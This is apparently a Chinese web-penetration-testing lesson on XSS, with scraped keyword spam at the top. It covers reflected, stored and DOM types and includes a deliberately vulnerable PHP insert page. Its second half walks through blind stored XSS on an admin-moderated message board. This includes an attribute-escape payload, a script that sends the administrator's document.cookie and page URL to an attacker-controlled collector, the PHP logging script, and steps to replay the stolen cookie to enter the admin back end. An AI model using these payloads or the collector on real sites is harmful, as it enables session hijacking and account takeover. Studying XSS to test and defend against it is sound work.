什么网站是做电机控制的,网站不做301可以吗,wordpress搭的,十大免费代理ip软件day3-xss漏洞#xff08;米斯特web渗透测试#xff09; XSSXss种类三种反射型1.反射型xss2.存储型xss3.DOM型xss XSS Xss有一部分是前端的有一部分不是前端的#xff0c;我们来看一下#xff0c;昨天的HTML注入修复方法应灵活使用。 HTML注入是注入一段HTML#xff0c;那… day3-xss漏洞米斯特web渗透测试 XSSXss种类三种反射型1.反射型xss2.存储型xss3.DOM型xss XSS Xss有一部分是前端的有一部分不是前端的我们来看一下昨天的HTML注入修复方法应灵活使用。 HTML注入是注入一段HTML那么HTML里面包含了cssjs。昨天css也利用过了如用黑色背景将其覆盖掉把下面用白色背景覆盖掉再写上登录框。Xss也可以这样利用。 Xss实际上是插入一段JavaScript代码但JavaScript代码是可以使用HTML标签调用的。
看上方的http//html.php?htmlscriptalert(1)/script,导致右下方弹出一个含1的框。
alert(1)弹出一个框内容是里面的东西。
Xss和HTML注入都是将一段代码插入页面中。Xss种类三种反射型 1.反射型xss 反射型xss白帽子发送了一个xss代码到服务器上需要经过服务器PHP代码查看处理的处理完后会将这段代码返回返回会在浏览器上 看得到如果此时存在xss那就会弹出上面这个框。 Payload有效载荷它的实际意思是测试了一段payload测试了一段代码相当于xss代码相当于HTML注入的代码。在输入xss代码时浏览器可能会拦截可以关掉拦截。直接用火狐浏览器吧。在火狐没有拦截可以弹框的。当弹框后就检测成功了还没有达到利用程度。其实自带的E浏览器也是可以使用的。
2.存储型xss 存储型xss现在只讲检测不讲利用等会再利用浏览器发送一段payload一段xss代码到服务器服务器后端代码经过处理要存储给数据库而这个测试的页面后端的代码从数据库查询过来的东西。查询你插入的这段代码并把你这段代码输送到页面中。这时如果你在输出的时候没有做限制或者你在浏览器刚开始发送的时候没有做限制。输入点和输出点没有做限制是存在漏洞的那我们来看一下。 如上图所示左上方有个网站有个名字代码我们点击添加发现他的数据库中的name这一列多了一个名字代码那么我们去找对应的页面可以看到页面一打开就弹出了一个xss因为name值是xss代码输出的也是直接把xss代码解析了所以才会有这个弹框。 接下来实战一下
下面是safe.php的代码
?php
$conn mysql_connect(localhost,root,root) or die(bad!);//连接数据库
mysql_query(SET NAMES utf-8);
mysql_select_db(xsstest,$conn) OR emMsg(数据库连接失败);//选择一个数据库
if ($_POST[name]) {$name $_POST[name];$sql INSERT INIO admin (name) VALUES ({$name});;$result mysql_query($sql,$conn) or die(mysql_error());echo scriptalert(/添加成功!/)/script;
}
?
!DOCTYPE html
html
headmeta charsetutf-8 /title用户添加/title
/head
body
form action methodpostname:input typetext namenamebrinput typesubmit valueadd
/form
/body
/html个人中心这一块怎么利用我们只需让攻击者在被攻击者访问这个现在保密在下个漏洞讲需要结合另一个漏洞 3.DOM型xss DOM型xss这个js可以操作前端的代码是前端中的王者。DOM型xss是因为JavaScript出了问题前端的代码出了问题才导致的这些DOM节点被修改、创建、删除。 DOM发送并返回整个操作在浏览器中进行而反射型发给服务器处理并返回无持久性删除了这段url代码就没有漏洞、存储型发给服务器处理、存储、再返回在数据库中有持久性都需发给服务器。 基于DOM的跨站点脚本不需要依赖于服务器端响应的内容如果某些HTML页面使用了document.location\document.URL或者document.referer等DOM元素的属性攻击者可以利用这些属性植入恶意脚本实施基于DOM的跨站点脚本攻击。 他们的危害是类似的存储型xss危害相对较大 这个存储型如果在个人中心利用的话会比较麻烦我们来看一下xss盲打的实例假设在一个公司工作客户给一个留言板要求测试此留言板是否有漏洞因为学了xss刚刚这时先测一下有没有xss漏洞。 一切前端的属性限制在审查元素中是无效的若是输入密码或账号有字数限制可以在审查元素中看到maxlength这一属性将其字数限制修改然后在页面就能成功了。 注意你发表留言你能看到吗提交时发现提交成功留言需经管理员审核才能发布想一下如果管理员发现怎么办管理员后台如果过触发了这段代码怎么办或者将这些代码删掉了怎么办并没有点击进去看 注意尽量在姓名和邮箱这边不要插入xss代码姓名后端也会给限制或者邮箱无等格式也不给发送给管理员所以一般会在留言内容中插入scriptalert(1)/script进行测试自己这边代码并未执行而管理员点进去之后代码也并未执行到底是为什么呢然而在审查元素时会发现它是被HTML实体化编码了这个xss代码并未被解析。两个思路一个不干了一个研究xss的payload能去解析才行。
input typesubmit valuescriptalert(1)/script注意xss代码在value中前后被“”包起来了想一下我们也可以输入双引号进去在input标签内左右尖括号包好如何构建此payload另其真正的被执行解析呢
input typesubmit valuescriptalert(1)/script将上面的xss代码变为scriptalert(1)/script就能从value中逃逸出来。当你以这个代码输入到浏览内容并发送时管理员打开就会触发xss然后就弹出1了。这时你就会想管理员弹出1了我们怎么知道要知道js代码什么都可以控制管理员去访问我们的一个文件我们可以记录一下谁访问我们的文件document.location.href”http://www.hi-ourlife.com/”。将输入的内容变成
scriptdocument.location.href”http://www.hi-ourlife.com/”/script此时这个网站会有记录。有个getcookie.php有些数据要存在客户端cookie主要是用于辨别用户也算是凭证吧我们获取了它的cookie获取了它的凭证获取了其管理员的凭证第一步即验证了这个漏洞真实存在第二个我们获取了它的凭证就能登录其后台。我们就可以试试那怎么构建呢 此getcookie.php是放在我们的网站下面的路径就是
http://192.168.0.109/mst/getcookie.php?cookie
?php
if (file_put_contents(cookie.txt, Cookie:.$_GET[cookie],FILE_APPEND)) {echo ok;
}
?
document.cookie在自己的网站中也可以获取cookie
接下来我们在留言板内容中输入”scriptdocument.location.href”http://192.168.0.109/mst/getcookie.php?cookie”document.cookie/script但是我们获取了cookie之后但不知道后台是什么还需要将后台获取出来。
故在留言板中的内容要输入下方代码
“scriptdocument.location.href”http://192.168.0.109/mst/getcookie.php?cookie”document.cookie”durl”document.URL/script我们已经在生成的txt文件中获得管理员的cookie了那如何使用呢很简单火狐浏览器打开安装一个插件firebug安装好后会令你重启一个浏览器重启右键使用firebug查看元素此时点击cookie编辑一下将获得的cookie写入也可以将cookie失效日期更改然后再点击输入管理员网站注意要改成会话模式。此时注意可以进来了。 当然xss也会有httponly这个也是希望大家课后自主学习一下今天先到这明天还会讲之前的个人中心漏洞打一个组合拳一起利用。